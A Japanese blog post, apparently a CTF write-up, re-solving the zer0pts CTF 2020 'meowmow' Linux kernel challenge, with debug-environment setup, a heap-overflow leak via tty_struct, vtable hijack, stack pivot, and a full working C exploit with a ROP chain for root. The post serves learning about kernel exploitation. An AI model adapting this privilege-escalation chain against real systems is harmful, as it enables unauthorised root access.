newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 27.0】 meowmow (kernel exploit) - zer0pts CTF 2020

 

 

 

 

0: 参考

 【A】pr0cfsさんのwriteup

pr0cf5.github.io

【B】作問者さんのwriteup

hackmd.io

 

【C】kernel pwn 全般に関する pr0cfs さんの素晴らしい解説

github.com

 

1: イントロ

 いつぞや行われた zer0pts CTFpwn 問題 meowmow

 kernel exploit である本問の解き直しをする

と思ったまま早数ヶ月が経ってしまった

やっぱりkernel問に慣れていなさすぎて、やるまでに必要なエネルギーが大きくなりすぎてしまう

結局は、簡単な問題を数こなす内に慣れていくしかないのであろう

何はともあれ、このCTFのpwnは全部解き直すと決めていたので、コレで完了

 

尚自分はkernel exploitに関しては未だに右も左もわからない初心者以下のため

自分用の備忘録も兼ねて

自分と同じ初心者でも再現できるよう導入から丁寧にメモしていこうと思う

 

また、本エントリは参考【A】【B】をなぞっているだけであり

それ以上の新しい知識は一切出てこないことは留意して頂きたい

 

2: 準備

配布ファイル

配布ファイルは以下の通り

 

bzImage:

kernelイメージファイル。 バージョン情報等は以下の通り

$ uname -a
Linux (none) 4.19.98 #2 SMP Wed Feb 5 21:57:51 JST 2020 x86_64 GNU/Linux

 

rootfs.cpio:

ファイルシステムアーカイブファイル

kernelがブートした後メモリ上にロードされる

 

start.sh:

QEMUからkernelを起動する際のオプション等が記述されたファイル

 

memo.c:

本問で使用するLKMのソースファイル。シンプル

 

デバッグ環境の整備

 

kernelは当然strippedされていてデバッグがしにくい

そのため、自分でkernelを落としてきてデバッグ情報付きでビルドする必要がある(本当に必要かは知らない。debug-infoなしでいける人はいけるのかもしれない)

それと同時に、ビルドしたkernelに合わせてLKMも自前ビルドする

 

kernelのビルド

まずはkernelのビルドから

git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
cd ./linux-stable
git checkout v4.19.98
make allnoconfig
make menuconfig
 # 内容は以下の .config 参照
make -j16
cp ./arch/x86/boot/bzImage ~/YOUR_WORK_SPACE

 

この際の .config ファイルは以下のリポジトリに一例をあげておいた

github.com

 

モジュールのビルド

続いてLKMをビルドする

以下のようなMakefileを作っておいてmakeするだけでOK

obj-m += memo.o
all:
		make -C /home/wataru/linux-stable/ M=$(PWD)  modules
		EXTRA_CFLAGS="-g DDEBUG"
clean:
		make -C /home/wataru/linux-stable/ M=$(PWD) clean
$ make
make -C /home/wataru/linux-stable/ M=/home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build  modules
make[1]: Entering directory '/home/wataru/linux-stable'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/home/wataru/linux-stable'
EXTRA_CFLAGS="-g DDEBUG"

$ modinfo ./memo.ko
filename:       /home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build/./memo.ko
description:    zer0pts CTF 2020 meowmow
author:         ptr-yudai
license:        GPL
depends:
name:           memo
vermagic:       4.19.98

 

ファイルシステムの展開・圧縮

 続いてファイルシステムデバッグ用のディレクトリを作成しておく

ファイルシステムの展開・圧縮には以下のスクリプトを使用することができる

$ cat ./extract.sh
#!/bin/sh

sudo rm -r ./extracted
mkdir extracted
cd extracted
cpio -idv < ../rootfs.cpio
cd ../

$ cat ./compress.sh
#!/bin/sh

rm ./myrootfs.cpio
cd ./extracted
find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
cd ../

 

ついでにファイルシステム中の init ファイルもデバッグしやすいように書き換えておく

$ cat ./extracted/init
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
#echo 1 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

chown root:root /flag
chmod 400 /flag
insmod /root/memo.ko
mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

umount /proc
umount /sys
poweroff -d 0 -f

 

 それから、自前で用意したdebug-info付きのkernelやモジュール等を使用するように起動スクリプトも書き換えておく

$ cat ./start.sh
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./pure/bzImage \
    -initrd ./myrootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
    -cpu kvm64,+smep,+smap \
    -monitor /dev/null \
    -nographic -enable-kvm \
    -s

 

 ここまでできたら一度kernelを起動して、正常に作動すること(LKMがインストールされていること)を確認する

f:id:smallkirby:20200722213437p:plain

動作確認

 

GDBでアタッチ

それでは最後にGDBデバッグできる状態にする

既に起動スクリプトの中でQEMUを -s オプション付きで起動しているため、localhostの1234ポートに接続することでデバッガをアタッチできる

尚、GDBの起動は上でビルドした対象の Kernel Tree の中で行い、そのトップディレクトリに自前ビルドしたモジュール(.ko)も置いておく

そうすると、Kernelが提供するGDBスクリプトによって lx-symbols コマンドが使えるようになる

$ pwd
/home/wataru/linux-stable
$ ls | grep memo
-rw-rw-r--   1 wataru wataru    212544 Jul 22 21:31 memo.ko
$ pwndbg ./vmlinux
pwndbg> target remote :1234
pwndbg> lx-symbols
loading vmlinux
scanning for modules in /home/wataru/linux-stable
loading @0xffffffffa0000000: /home/wataru/linux-stable/memo.ko
pwndbg> b mod_open
Breakpoint 1 at 0xffffffffa0000140: mod_open. (2 locations)

すると、以下のようにいつもどおりのデバッグができるようになる

尚、デバッグ環境を整えるためにはkernelのビルド時に諸々の設定をする必要があるため、これも上に挙げたリポジトリのファイルを参照のこと

f:id:smallkirby:20200722214245p:plain

ユーザランドと同様にデバッグできているの巻

 

おまけ

配布された bzImage を展開して何かを調べたい場合には以下の通り

github.com

 

vanila gdb ではなく何らかの plugin (今回の場合pwndbg/peda) を使用した場合、デバッグ時に何かしら不都合が出てくる可能性もあるらしい (今回は何も困らなかった)

 

 

3.Bugs

カーネルモジュールのソースコードを見ると、明らかな heap overflowがある

 

 

これを利用して heap 領域にある kernel symbol を leak する

以下の記事に kernel pwn で使える構造体がまとまっている

ptr-yudai.hatenablog.com

 

隣接するバッファの値しか読み書きできないという都合上、選択する構造体は「任意のタイミングでallocすることができる」必要がある

また、モジュールが作るバッファのサイズは 0x400 であるため、スラブとして kmalloc-1024 が使われる

よって今回はサイズ0x2e4で同様に kmalloc-1024 が使われる tty_struct を利用することにする

この構造体は /dev/ptmx を open() すると alloc される

struct tty_struct のメンバとサイズ・オフセットは以下のとおりである

pwndbg> ptype /o struct tty_struct
/* offset    |  size */  type = struct tty_struct {
/*    0      |     4 */    int magic;
/*    4      |     4 */    struct kref {
/*    4      |     4 */        refcount_t refcount;

                               /* total size (bytes):    4 */
                           } kref;
/*    8      |     8 */    struct device *dev;
/*   16      |     8 */    struct tty_driver *driver;
/*   24      |     8 */    const struct tty_operations *ops;
/*   32      |     4 */    int index;
/* XXX  4-byte hole  */
/*   40      |    48 */    struct ld_semaphore {
/*   40      |     8 */        atomic_long_t count;
/*   48      |     0 */        raw_spinlock_t wait_lock;
/*   48      |     4 */        unsigned int wait_readers;
/* XXX  4-byte hole  */
/*   56      |    16 */        struct list_head {
/*   56      |     8 */            struct list_head *next;
/*   64      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } read_wait;
/*   72      |    16 */        struct list_head {
/*   72      |     8 */            struct list_head *next;
/*   80      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } write_wait;

                               /* total size (bytes):   48 */
                           } ldisc_sem;
/*   88      |     8 */    struct tty_ldisc *ldisc;
/*   96      |    24 */    struct mutex {
/*   96      |     8 */        atomic_long_t owner;
/*  104      |     0 */        spinlock_t wait_lock;
/*  104      |    16 */        struct list_head {
/*  104      |     8 */            struct list_head *next;
/*  112      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } atomic_write_lock;
/*  120      |    24 */    struct mutex {
/*  120      |     8 */        atomic_long_t owner;
/*  128      |     0 */        spinlock_t wait_lock;
/*  128      |    16 */        struct list_head {
/*  128      |     8 */            struct list_head *next;
/*  136      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } legacy_mutex;
/*  144      |    24 */    struct mutex {
/*  144      |     8 */        atomic_long_t owner;
/*  152      |     0 */        spinlock_t wait_lock;
/*  152      |    16 */        struct list_head {
/*  152      |     8 */            struct list_head *next;
/*  160      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } throttle_mutex;
/*  168      |    24 */    struct rw_semaphore {
/*  168      |     8 */        atomic_long_t count;
/*  176      |    16 */        struct list_head {
/*  176      |     8 */            struct list_head *next;
/*  184      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;
/*  192      |     0 */        raw_spinlock_t wait_lock;

                               /* total size (bytes):   24 */
                           } termios_rwsem;
/*  192      |    24 */    struct mutex {
/*  192      |     8 */        atomic_long_t owner;
/*  200      |     0 */        spinlock_t wait_lock;
/*  200      |    16 */        struct list_head {
/*  200      |     8 */            struct list_head *next;
/*  208      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } winsize_mutex;
/*  216      |     0 */    spinlock_t ctrl_lock;
/*  216      |     0 */    spinlock_t flow_lock;
/*  216      |    44 */    struct ktermios {
/*  216      |     4 */        tcflag_t c_iflag;
/*  220      |     4 */        tcflag_t c_oflag;
/*  224      |     4 */        tcflag_t c_cflag;
/*  228      |     4 */        tcflag_t c_lflag;
/*  232      |     1 */        cc_t c_line;
/*  233      |    19 */        cc_t c_cc[19];
/*  252      |     4 */        speed_t c_ispeed;
/*  256      |     4 */        speed_t c_ospeed;

                               /* total size (bytes):   44 */
                           } termios;
/*  260      |    44 */    struct ktermios {
/*  260      |     4 */        tcflag_t c_iflag;
/*  264      |     4 */        tcflag_t c_oflag;
/*  268      |     4 */        tcflag_t c_cflag;
/*  272      |     4 */        tcflag_t c_lflag;
/*  276      |     1 */        cc_t c_line;
/*  277      |    19 */        cc_t c_cc[19];
/*  296      |     4 */        speed_t c_ispeed;
/*  300      |     4 */        speed_t c_ospeed;

                               /* total size (bytes):   44 */
                           } termios_locked;
/*  304      |     8 */    struct termiox *termiox;
/*  312      |    64 */    char name[64];
/*  376      |     8 */    struct pid *pgrp;
/*  384      |     8 */    struct pid *session;
/*  392      |     8 */    unsigned long flags;
/*  400      |     4 */    int count;
/*  404      |     8 */    struct winsize {
/*  404      |     2 */        unsigned short ws_row;
/*  406      |     2 */        unsigned short ws_col;
/*  408      |     2 */        unsigned short ws_xpixel;
/*  410      |     2 */        unsigned short ws_ypixel;

                               /* total size (bytes):    8 */
                           } winsize;
/*  412: 0   |     8 */    unsigned long stopped : 1;
/*  412: 1   |     8 */    unsigned long flow_stopped : 1;
/* XXX  6-bit hole   */
/* XXX  3-byte hole  */
/*  416: 0   |     8 */    unsigned long unused : 62;
/* XXX  2-bit hole   */
/*  424      |     4 */    int hw_stopped;
/*  428: 0   |     8 */    unsigned long ctrl_status : 8;
/*  429: 0   |     8 */    unsigned long packet : 1;
/* XXX  7-bit hole   */
/* XXX  2-byte hole  */
/*  432: 0   |     8 */    unsigned long unused_ctrl : 55;
/* XXX  1-bit hole   */
/* XXX  1-byte hole  */
/*  440      |     4 */    unsigned int receive_room;
/*  444      |     4 */    int flow_change;
/*  448      |     8 */    struct tty_struct *link;
/*  456      |     8 */    struct fasync_struct *fasync;
/*  464      |    16 */    wait_queue_head_t write_wait;
/*  480      |    16 */    wait_queue_head_t read_wait;
/*  496      |    32 */    struct work_struct {
/*  496      |     8 */        atomic_long_t data;
/*  504      |    16 */        struct list_head {
/*  504      |     8 */            struct list_head *next;
/*  512      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*  520      |     8 */        work_func_t func;

                               /* total size (bytes):   32 */
                           } hangup_work;
/*  528      |     8 */    void *disc_data;
/*  536      |     8 */    void *driver_data;
/*  544      |     0 */    spinlock_t files_lock;
/*  544      |    16 */    struct list_head {
/*  544      |     8 */        struct list_head *next;
/*  552      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } tty_files;
/*  560      |     4 */    int closing;
/* XXX  4-byte hole  */
/*  568      |     8 */    unsigned char *write_buf;
/*  576      |     4 */    int write_cnt;
/* XXX  4-byte hole  */
/*  584      |    32 */    struct work_struct {
/*  584      |     8 */        atomic_long_t data;
/*  592      |    16 */        struct list_head {
/*  592      |     8 */            struct list_head *next;
/*  600      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*  608      |     8 */        work_func_t func;

                               /* total size (bytes):   32 */
                           } SAK_work;
/*  616      |     8 */    struct tty_port *port;

                           /* total size (bytes):  624 */
                         }

 

この内、const struct tty_operations *ops; は vtable へのポインタとして kernel symbol を指しているため kernelbase の leak に利用することができる

 

実際に /dev/ptmx を open したあとで上の構造体を確認してみると以下のようになった

f:id:smallkirby:20200722233232p:plain

opsは 0xffffffff816191e0 <ptm_unix98_ops> を指している

この時、kernelbase は以下の通り0xffffffff81000000 であったから、そのオフセットは 0x6191e0であることが分かる

f:id:smallkirby:20200722234431p:plain

kernelbase

 

 

一旦以下のスクリプトで kearnelbase/kernelheap の leak が可能であることを確認してみる

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong kernbase;

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);

  return 0;
}

 

尚、今回はライブラリが使えないため静的リンクしてファイルシステムに入れておく必要がある(組み込み用とかdiet-libcとかを使ってもいいが、別に今回はローカルでしか試さないからいいや)

$ gcc ./test1.c -o test1 --static
$ cp ./test1 ./extracted/dbg/
$ sh ./compress.sh

 

これを実行すると以下のようになる

f:id:smallkirby:20200722234617p:plain

leak kernelbase

/proc/kallsyms から調べられる kernbase と leak した kernbase が一致していることから、適切にleakできていることがわかる (root権限でないと /proc/kallsyms が読めないため、initファイルを書き換えてrootログインしている)

 

同様にして、tty_struct 中の struct ld_semaphore 中の struct list_head 中の struct list_head *next が 自分自身を指していることが上の画像より見てとれる

これにより、heapbase を leak することができる (offset: 0x438)

 

以上より、kernbase/heapbase ともに leak できたことになる

 

 

4. RIPをとる

この後の RIP の取り方にはいくらからあるだろうが、今回は参考【B】に準拠して進めていく (参考【B】では別のアプローチをとっている)

上に示した方法をwriteにも適用させることで、tty_structを自由に操作することができる 

この tty_struct は  struct tty_operations *ops という vtable へのポインタを保有しており、その vtable(ptm_unix98_ops) は以下のようになっている

f:id:smallkirby:20200723164221p:plain

ptm_unix98_ops

 この vtable へのポインタを不正に操作し、偽の vtable へ飛ばすことができれば RIP を奪取することができる

試しに以下のスクリプトで tty_struct.ops -> ioctl に該当するエントリに牛の死骸を挿入してみる

尚、tty_struct の他のエントリを破壊しないように事前に呼んだメモリに上書きする形でoverwriteしている

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

#define REAL
#undef REAL

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
#ifndef REAL
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  ulong gad1 = 0;
#else
  ulong off_ptm_unix98_ops_kernbase = 0;
  ulong off_kernheap = 0x438;
  ulong gad1 = 0x94d4e3;
#endif
  ulong kernbase, kernheap;

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  // leak kernbase and kernheap
  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);
  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
  printf("kernheap: %lx\n",kernheap);

  // 
  //*(unsigned long*)(buf + 0xc*8) = gad1 + kernbase; // fake ioctl entry
  *(unsigned long*)(buf + 0xc*8) = 0xdeadbeef; // fake ioctl entry
  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer

  lseek(memo,0x300,SEEK_SET);
  write(memo,buf,0x400);
  ioctl(ptmx,0xdeadbeef,0xcafebabe);

  return 0;
}

 これを実行すると、以下の画像のように tty_struct.ops が memo バッファへのポインタに上書きされる

f:id:smallkirby:20200723202209p:plain

そしてこの forged vtable を struct tty_operations として読むと以下のようになる

f:id:smallkirby:20200723202301p:plain

forged vtable

これで ptmx に対して ioctl を呼ぶと 0xdeadbeef に RIP が移ることになるため、以下のように kernel は panic する

f:id:smallkirby:20200723202434p:plain

これでRIPをとれるようになった

 

 

但し、この kernel は SMAP/SMEP/KPTI が全て有効になっているため、ただ userland に帰ろうとしてもそれはできない。それぞれの機能を一言でまとめると以下のようになっている

 

SMEP: 特権モードから userland のコード実行を禁止する

SMAP: 特権モードから userland へのポインタの dereference を禁止する(userland へのアクセスを禁止する)/ ret2dir(physmap spray)でbypass

KPTI: 特権モードと非特権モードでページテーブルを分離する。Meltdown への対策として実装された

 

ここで、配布された kernel image を探すと以下のようなgadgetが見つかる 

$ ~/snipet/kernel/extract-vmlinux ./bzImage  > ./extracted_bzImage
$rp++ -f ./extracted_bzImage --unique -r 10 | grep "push r12" | grep "pop rsp"
0xffffffff8194d4e3: push r12 ; add dword [rbp+0x41], ebx ; pop rsp ; pop r13 ; ret  ;  (1 found)

 

すなわち、このgadgetをR12を任意の値にして呼ぶことができれば RSP を任意の値にセットすることができる 

また、ioctl() を呼ぶ時、tty_ioctl() の以下の箇所でその第2引数が r12 にセットされる

https://elixir.bootlin.com/linux/v4.19.98/source/drivers/tty/tty_io.c#L2542

f:id:smallkirby:20200723203310p:plain

 

すなわち、vtable の ioctl を上の gadget に書き換えた状態で ioctl() を呼ぶと、R12経由でRSP を任意の値にすることができる

(なお、自前ビルドしたkernelにおいては対象のgadgetは見つからなかった。ビルドコンフィグが違うから当たり前)

 

ということで実際の kernel image に即してオフセットを調べていっても良いのだが、それでは本家様のコードを丸パクリしてしまうことになってつまらないため、このまま自前ビルドのkernelを使っていくことにする

上の画像を見ると、RDX には第3引数の値が入っているため、代わりに以下のgadgetが使えそうだった

0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)

 

 その後ろで色々と pop しているが、ROPの中にダミーの値を入れておけば、まあ大丈夫だろう

 

 

 

5. 定石のROP

RIP/RSPを自由に操作することができたらあとは定石の通り ROP を組むだけである

ROP中で行うことは以下の通り

 

prepare_kernel_cred() で init task の cred を入手

struct cred *prepare_kernel_cred(struct task_struct *daemon) は以下で定義される関数である

https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L679

 

daemon が NULL であった場合には以下の分岐に於いて init_cred の cred を返すことになる

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

 

この cred は init に指される credential のため、これを現在実行中のプロセスに適用させることで root 権限を得ることができる

 

init_cred を適用させる

この cred を現在のプロセスに適用させるのが int commit_creds(struct task *new) である

https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L434

 

尚、これを呼ぶ前に prepare_kernel_cred() の返り値を rdi に移しておく必要がある

 

userlandへの帰還

これで無事特権を入手したため、あとは userland に帰って用意しておいたシェルをポップする関数を呼ぶだけである

但し前述したように KPTI 有効であるから単純に帰るだけではセグフォが起きる

前もって決められた手順に従わなくてはならない (or CR3, 0x1000)

これをしてくれるのが以下のswapgs_restore_regs_and_return_to_usermode マクロである

GLOBAL(swapgs_restore_regs_and_return_to_usermode)
#ifdef CONFIG_DEBUG_ENTRY
	/* Assert that pt_regs indicates user mode. */
	testb	$3, CS(%rsp)
	jnz	1f
	ud2
1:
#endif
	POP_REGS pop_rdi=0
 
	/*
	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
 
	/* Copy the IRET frame to the trampoline stack. */
	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */
 
	/* Push user RDI on the trampoline stack. */
	pushq	(%rdi)
 
	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
 
	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
 
	/* Restore RDI. */
	popq	%rdi
	SWAPGS
	INTERRUPT_RETURN

 

 これを呼ぶことで、kernel land から user land に帰ることができるのだが、その際にスタック上に保存しておいた非特権モード時のレジスタの値を置いておく必要がある

そこで、以前のエントリでも使用したコードを使い予めexploitプログラム上でレジスタの値を記憶しておくことにする

smallkirby.hatenablog.com

static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
}

 

 

 6. exploit

 ということで、ROPを組んで出来上がったコードが以下の通り

尚コレは配布 kernel ではなく自前ビルドした kernel 上でのみ動作する

KASLR等の有効設定は全て配布設定のままである

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

ulong user_cs,user_ss,user_sp,user_rflags;

void pop_shell(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}

static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
  ulong *rop;
  ulong kernbase, kernheap;

  /**** gadgets ****/
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)
  ulong gad1 = 0x243b8;
  // 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)
  ulong pop_rdi = 0xe7ae8;
  // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)
  ulong mov_rdi_rax = 0xfc8e;
  // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)
  ulong pop_rcx = 0xfb892;
  ulong prepare_kernel_cred = 0x44850;
  ulong commit_creds = 0x44680;
  /*
   0xffffffff812009c4 <+68>:    mov    rdi,rsp
   0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff81806004
   0xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]
   0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]
   0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]
   0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]
   0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]
   0xffffffff812009de <+94>:    push   QWORD PTR [rdi]
   0xffffffff812009e0 <+96>:    push   rax
   0xffffffff812009e1 <+97>:    xchg   ax,ax
   0xffffffff812009e3 <+99>:    mov    rdi,cr3
   0xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>
   0xffffffff812009e8 <+104>:   mov    rax,rdi
   0xffffffff812009eb <+107>:   and    rdi,0x7ff

  */
  ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;


  // 状態の保存
  save_state();

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  // leak kernbase and kernheap
  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);
  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
  printf("kernheap: %lx\n",kernheap);

  // vtableへのポインタの書き換え
  *(unsigned long*)(buf + 0xc*8) = kernbase + gad1; // fake ioctl entry
  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer

  lseek(memo,0x300,SEEK_SET);
  write(memo,buf,0x400); // overwrite ops and ioctl entry

  // ROP chain
  rop = (unsigned long*)buf;
  // gad1のごまかし*6
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;

  // init_task の cred を入手
  *rop++ = kernbase + pop_rdi;
  *rop++ = 0;
  *rop++ = kernbase + prepare_kernel_cred;

  // 入手したcredを引数にしてcommit
  *rop++ = kernbase + pop_rcx;      // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
  *rop++ = 0;
  *rop++ = kernbase + mov_rdi_rax;
  *rop++ = kernbase + commit_creds;

  // return to usermode by swapgs_restore_regs_and_return_to_usermode
  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)&pop_shell;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp;
  *rop++ = user_ss;

  // invoke shell
  lseek(memo,0x0,SEEK_SET);
  write(memo,buf,0x100);
  ioctl(ptmx,kernheap,kernheap);

  return 0;
}

 

 これを実行すると、以下のように確かにLPEできていることがわかる

f:id:smallkirby:20200723221010p:plain

pwned

 

 

 

7. アウトロ

KPTI と KDDI って、似てるよね

親戚なんかな

 

 

 

 

続く...